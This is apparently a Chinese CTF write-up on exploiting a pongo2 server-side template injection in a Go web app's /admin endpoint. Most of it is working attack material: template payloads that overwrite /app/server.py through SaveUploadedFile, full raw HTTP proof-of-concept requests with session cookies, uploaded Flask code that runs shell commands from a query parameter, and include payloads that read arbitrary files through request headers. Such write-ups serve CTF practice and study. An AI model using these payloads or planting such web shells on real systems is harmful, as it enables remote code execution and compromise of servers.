首先是修改文件,启动服务获取admin的session
(无痕浏览器,爱死你了)
之后是个pongo2模版注入
首先是X1r0z的
// UserAgent returns the client's User-Agent, if sent in the request. func (r *Request) UserAgent() string { return r.Header.Get("User-Agent") }
|
/admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}
还有一个大头师傅的
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
都差不多
对应poc
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1 Host: 123.56.244.196:17997 Content-Length: 613 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi User-Agent: /app/server.py Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw== Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close
------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="/app/server.py"; filename="server.py" Content-Type: text/plain
from flask import Flask, request import os
app = Flask(__name__)
@app.route('/shell') def shell(): cmd = request.args.get('cmd') if cmd: return os.popen(cmd).read() else: return 'shell' if __name__== "__main__": app.run(host="127.0.0.1",port=5000,debug=True) ------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryrxtSm5i2S6anueQi--
|
另个
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1 Host: 970fe693-65cb-4674-8904-37a38a64cfd6.node.domain.com:9123 Content-Length: 564 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw== Connection: close
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="file"; filename="server.py" Content-Type: image/jpeg
from flask import Flask, request import os app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] res = os.popen(name).read() return res + " no ssti"
if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=True)
------WebKitFormBoundaryqwT9VdDXSgZPm0yn Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryqwT9VdDXSgZPm0yn--
|
{%include c.Request.Referer()%} #通过请求头的Referer {%include c.Request.Host()%} #通过请求头的Host {%include c.Query(c.ClientIP())%} #通过?ip\_add=/app/server.py读取
//读文件 {%include c.Request.Referer()%} {%include c.Request.Host()%}
//写文件 //这三个payload其实大同小异,只是后两个使用了过滤器(c.HandlerName的值为 main/route.Admin ) {{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}
{%set form=c.Query(c.HandlerName|first)%}{{c.SaveUploadedFile(c.FormFile(form),c.Request.Referer())}}&m=file
{%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py
|
这个很重要